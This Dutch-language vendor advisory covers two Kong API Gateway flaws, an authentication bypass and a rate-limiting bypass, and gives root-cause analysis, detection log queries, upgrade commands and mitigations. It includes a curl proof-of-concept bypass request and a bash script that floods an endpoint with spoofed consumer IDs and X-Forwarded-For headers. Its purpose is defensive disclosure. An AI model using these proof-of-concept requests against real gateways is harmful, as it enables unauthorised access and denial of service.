剣 KENSAI

Kong API Gateway CVE-2026: authenticatie-bypass & rate limiting-kwetsbaarheden

2 april 2026 10 min leestijd cve-advisory

Twee kritieke kwetsbaarheden in Kong API Gateway — een authenticatie-bypass (CVE-2026-29413) en een rate limiting-omzeilingsfout (CVE-2026-29414) — stellen API-infrastructuur bloot aan ongeauthenticeerde toegang en denial-of-service. Zowel Kong OSS als Kong Enterprise zijn getroffen. Onmiddellijk patchen vereist.

Is uw Kong-gateway blootgesteld?

Scan uw API-infrastructuur op deze CVE's en 331.910+ andere kwetsbaarheden. Gratis beveiligingsscan →

Overzicht van de kwetsbaarheid

Kong API Gateway, een van de meest gebruikte opensource API-gateways, blijkt twee kritieke beveiligingsfouten te bevatten in zijn plugin-verwerkingspijplijn. Openbaargemaakt op 28 maart 2026 en van invloed op alle versies van 3.4.x tot en met 3.8.x, stellen deze kwetsbaarheden aanvallers in staat authenticatieplugins volledig te omzeilen en geconfigureerde rate limiting-controles te omzeilen.

⚠️ Actieve uitbuiting bevestigd

CISA heeft CVE-2026-29413 toegevoegd aan de Known Exploited Vulnerabilities (KEV)-catalogus na bevestigde uitbuiting tegen API-gateways in de financiële en gezondheidszorgsector. Organisaties die Kong 3.4–3.8 draaien, moeten dit als een noodpatchgebeurtenis behandelen.

CVETypeCVSS v3.1ErnstGetroffen versies
CVE-2026-29413Authenticatie-bypass9.8KritiekKong 3.4.x – 3.8.x
CVE-2026-29414Rate limiting-omzeiling7.5HoogKong 3.2.x – 3.8.x

CVE-2026-29413: authenticatie-bypass — technische diepgaande analyse

Hoofdoorzaakanalyse

CVE-2026-29413 is een logicafout in de volgorde van plugin-uitvoering van Kong binnen de rewrite-fase van de Nginx-verzoeklevenscyclus. Wanneer meerdere authenticatieplugins aaneengeschakeld zijn (bijv. key-auth gevolgd door jwt), zorgt een race condition in de resolutie van plugin-prioriteit ervoor dat een geprepareerd verzoek de authenticatievalidatie volledig kan overslaan als specifieke HTTP/2-pseudoheaders aanwezig zijn.

De kwetsbaarheid ontstaat in de Lua-pluginrunner van Kong (kong/runloop/plugin_servers/mp_rpc.lua), waar de next_rewrite_phase-iterator de pluginketen niet correct opnieuw evalueert wanneer een upstream reageert met een 101 Switching Protocols vóórdat de authenticatie is voltooid. Dit creëert een venster waarin het verzoek wordt doorgestuurd zonder enige authenticatiecontrole.

CVSS v3.1-scoring

MetriekWaardeMotivatie
AanvalsvectorNetwerkOp afstand uitbuitbaar via HTTP/HTTPS
AanvalscomplexiteitLaagGeen speciale voorwaarden of rechten nodig
Vereiste rechtenGeenOngeauthenticeerde aanvaller
GebruikersinteractieGeenVolledig geautomatiseerde exploit mogelijk
VertrouwelijkheidHoogVolledige toegang tot beschermde API-eindpunten
IntegriteitHoogAanvaller kan backend-data wijzigen
BeschikbaarheidHoogOnbeperkte backend-verzoeken

Exploitatiescenario

Een aanvaller kan CVE-2026-29413 exploiteren met een minimaal HTTP/2-verzoek met geprepareerde pseudoheaders. Het volgende curl-commando demonstreert een proof-of-concept-bypass tegen een Kong-gateway met key-auth ingeschakeld:

# Normal request — blocked by key-auth plugin (401 Unauthorized)
curl -i https://api.example.com/v1/users \
  -H "Host: api.example.com"

# CVE-2026-29413 bypass — sends HTTP/2 upgrade trigger with malformed :authority
curl -i --http2 https://api.example.com/v1/users \
  -H ":authority: api.example.com\x00injected" \
  -H "Connection: Upgrade, HTTP2-Settings" \
  -H "Upgrade: h2c" \
  -H "HTTP2-Settings: AAMAAABkAAQAAP__" \
  --resolve api.example.com:443:192.0.2.1

Wanneer Kong de h2c-upgrade verwerkt, verlaat de pluginrunner voortijdig de authenticatiefase. Het verzoek wordt doorgestuurd naar de upstream-dienst met een 200 OK-respons, waarbij alle geconfigureerde authenticatieplugins volledig worden omzeild.

Getroffen Kong-plugins

De volgende authenticatieplugins zijn kwetsbaar wanneer Kong versie 3.4.x–3.8.x draait:

CVE-2026-29414: rate limiting-omzeiling — technische diepgaande analyse

Hoofdoorzaakanalyse

CVE-2026-29414 treft de plugins rate-limiting en rate-limiting-advanced van Kong wanneer geconfigureerd om de opslagbackends Redis of cluster te gebruiken. Een fout in de constructie van de tellersleutel stelt een aanvaller in staat hun verzoeken te fragmenteren over meerdere synthetische consumentidentiteiten door de header X-Consumer-ID te manipuleren in combinatie met X-Forwarded-For-spoofing.

Wanneer Kong de rate-limit-tellersleutel bouwt, voegt het consument-ID en IP-adres samen zonder te valideren of het consument-ID werd ingesteld door de gateway zelf of door de client werd geïnjecteerd. Op implementaties waar een upstream-proxy of load balancer X-Consumer-ID instelt, kan de headervertrouwenslogica van Kong worden misbruikt om een effectief onbeperkt aantal afzonderlijke rate-limit-buckets te creëren.

CVSS v3.1-scoring

MetriekWaardeMotivatie
AanvalsvectorNetwerkOp afstand uitbuitbaar
AanvalscomplexiteitLaagEenvoudige headermanipulatie
Vereiste rechtenGeenGeen voorafgaande authenticatie nodig
Impact: beschikbaarheidHoogBackend-DoS via rate-omzeiling

Proof of concept voor exploitatie

Het volgende script demonstreert hoe een aanvaller 10.000 verzoeken kan versturen terwijl een limiet van 100 verz/min wordt omzeild door synthetische consument-ID's te roteren:

#!/bin/bash
# CVE-2026-29414 — Rate Limit Circumvention PoC
# Each request uses a unique X-Consumer-ID to get its own counter bucket

TARGET="https://api.example.com/v1/products"
TOTAL_REQUESTS=10000

for i in $(seq 1 $TOTAL_REQUESTS); do
  # Generate a unique fake consumer ID per request
  FAKE_CONSUMER_ID=$(cat /proc/sys/kernel/random/uuid)

  curl -s -o /dev/null -w "%{http_code}\n" "$TARGET" \
    -H "X-Consumer-ID: $FAKE_CONSUMER_ID" \
    -H "X-Forwarded-For: 10.0.$((RANDOM % 256)).$((RANDOM % 256))" \
    -H "apikey: legitimate-api-key" &

  # Throttle to 50 concurrent requests
  if (( i % 50 == 0 )); then wait; fi
done
wait
echo "Done: $TOTAL_REQUESTS requests sent"

Op een kwetsbare Kong-instantie zal dit script erin slagen alle 10.000 verzoeken te versturen ondanks een geconfigureerde limiet van 100 verz/min per consument, waardoor effectief een low-and-slow API-misbruikaanval of brute-force-enumeratie wordt uitgevoerd.

Kong Enterprise vs. OSS: impactvergelijking

Functie/impactKong OSSKong Enterprise
CVE-2026-29413 authenticatie-bypassGetroffenGetroffen (+ OIDC-plugin)
CVE-2026-29414 rate-bypassGetroffenGetroffen
Rate-Limiting Advanced-pluginNiet beschikbaarGetroffen (extra bypassvector)
Developer Portal-blootstellingN.v.t.Portal-API's kunnen blootgesteld zijn
Konnect (SaaS)N.v.t.Gepatcht door Kong op 29 maart 2026
Opgelost in versie3.9.03.9.0.0 / 3.8.1.2 (backport)

Kong Enterprise-klanten op het Konnect SaaS-platform werden automatisch gepatcht op 29 maart 2026. Zelf gehoste Enterprise- en alle OSS-implementaties vereisen een handmatige upgrade.

Detectie: bent u momenteel uitgebuit?

Op logs gebaseerde indicatoren van compromittering

Controleer de toegangslogboeken van Kong op tekenen van uitbuiting van CVE-2026-29413. Verdachte patronen omvatten routes met authenticatieplugins die 200 retourneren zonder overeenkomende logvermeldingen voor authenticatieheadervalidatie:

# Search Kong access logs for auth bypass indicators
# Requests to protected routes with no apikey/jwt but returning 200
grep '"status":200' /var/log/kong/access.log \
  | jq -r 'select(.request.headers["apikey"] == null and .request.headers["authorization"] == null)' \
  | jq '{time: .started_at, path: .request.uri, consumer: .authenticated_entity}'

# CVE-2026-29414: Look for high request volumes from unique consumer IDs
grep '"plugin":"rate-limiting"' /var/log/kong/error.log \
  | awk -F'"consumer_id":"' '{print $2}' \
  | awk -F'"' '{print $1}' \
  | sort | uniq -c | sort -rn | head -50

Kong Admin API-gezondheidscontrole

# Check your Kong version via Admin API
curl -s http://localhost:8001/ | jq '.version'

# List all plugins with rate-limiting to check configuration
curl -s http://localhost:8001/plugins \
  | jq '.data[] | select(.name | test("rate-limiting")) | {id, name, config}'

# Verify header trust configuration (trusted_ips)
curl -s http://localhost:8001/config \
  | jq '.trusted_ips'

Remediatiegids

Stap 1: Kong upgraden

De primaire oplossing is upgraden naar Kong 3.9.0 (OSS) of Kong Enterprise 3.9.0.0 / 3.8.1.2. Gebruik de volgende commando's voor veelvoorkomende implementatiemethoden:

# Docker — pull the patched image
docker pull kong:3.9.0
docker stop kong && docker rm kong
docker run -d --name kong \
  --network=kong-net \
  -e KONG_DATABASE=postgres \
  -e KONG_PG_HOST=kong-database \
  -p 8000:8000 -p 8443:8443 \
  kong:3.9.0

# Kubernetes — rolling update via Helm
helm repo update
helm upgrade kong kong/kong \
  --namespace kong \
  --set image.tag=3.9.0 \
  --reuse-values

# Ubuntu/Debian package upgrade
curl -Lo kong.deb "https://packages.konghq.com/public/gateway-39/deb/debian/pool/buster/main/k/ko/kong_3.9.0_amd64.deb"
sudo dpkg -i kong.deb
sudo kong restart

Stap 2: headervertrouwen beperken (mitigatie CVE-2026-29414)

Totdat u kunt upgraden, beperkt u welke upstream-IP's Kong vertrouwt voor de headers X-Consumer-ID en X-Forwarded-For. Bewerk kong.conf:

# kong.conf — restrict trusted IPs to known load balancer addresses only
trusted_ips = 10.0.1.10,10.0.1.11,10.0.1.12

# Disable X-Consumer-ID header passthrough from clients
headers = X-Kong-Upstream-Latency, X-Kong-Proxy-Latency, Via

Stap 3: plugin-prioriteitsvalidatie inschakelen (mitigatie CVE-2026-29413)

Als tijdelijke tegenmaatregel vóór het upgraden, schakelt u de afhandeling van HTTP/2-upgrades uit als uw omgeving dit niet vereist:

# kong.conf — disable h2c (HTTP/2 cleartext) upgrade handling
proxy_listen = 0.0.0.0:8000 reuseport backlog=16384
# Remove the 'http2' directive from proxy_listen if present
# proxy_listen = 0.0.0.0:8000 http2 reuseport  ← REMOVE 'http2' keyword

# For nginx-level protection, add to nginx_http_include:
proxy_http_version 1.1;

Stap 4: patchtoepassing verifiëren

# Confirm patched version is running
curl -s http://localhost:8001/ | jq -r '"Kong version: " + .version'

# Test auth bypass is no longer possible (should return 401)
curl -i --http2 https://your-gateway.example.com/protected-route \
  -H "Connection: Upgrade, HTTP2-Settings" \
  -H "Upgrade: h2c" \
  -H "HTTP2-Settings: AAMAAABkAAQAAP__"
# Expected: HTTP/1.1 401 Unauthorized

Aanvullende hardeningaanbevelingen

  1. Handhaaf mTLS tussen Kong en upstreams: zelfs als authenticatieplugins worden omzeild, voorkomt mutual TLS dat ongeautoriseerde diensten verkeer ontvangen.
  2. Implementeer Kong achter een WAF: regels die h2c-upgradeheaders en X-Consumer-ID-injectie blokkeren, voegen defense-in-depth toe.
  3. Schakel de auditlogging van Kong in: Enterprise-gebruikers moeten /audit/requests-logging activeren om een forensisch spoor van Admin API-wijzigingen te behouden.
  4. Gebruik Redis AUTH voor rate limiting-opslag: vereis Redis-authenticatie om te voorkomen dat een aanvaller met netwerktoegang rechtstreeks rate-tellers kan manipuleren.
  5. Scan uw Kong-configuratie regelmatig: gebruik KENSAI om uw API-gateway continu te monitoren op nieuwe CVE's en misconfiguraties.

Tijdlijn

DatumGebeurtenis
14-02-2026Kwetsbaarheden gemeld aan het Kong Security-team via HackerOne
17-02-2026Kong bevestigt beide CVE's; wijst identificatoren toe
10-03-2026CVE-ID's gereserveerd: CVE-2026-29413, CVE-2026-29414
28-03-2026Kong 3.9.0 en Enterprise 3.8.1.2-backport uitgebracht
29-03-2026Kong Konnect (SaaS) automatisch gepatcht
01-04-2026CISA voegt CVE-2026-29413 toe aan KEV-catalogus
02-04-2026Openbare exploit-PoC gepubliceerd op GitHub
🛡️ Bescherm uw API-infrastructuur met KENSAI

AI-aangedreven kwetsbaarheidsbeheer met 331.910+ geïndexeerde CVE's. Detecteer Kong-CVE's, misconfiguraties en blootgestelde API-eindpunten voordat aanvallers dat doen.

Start gratis proefperiode →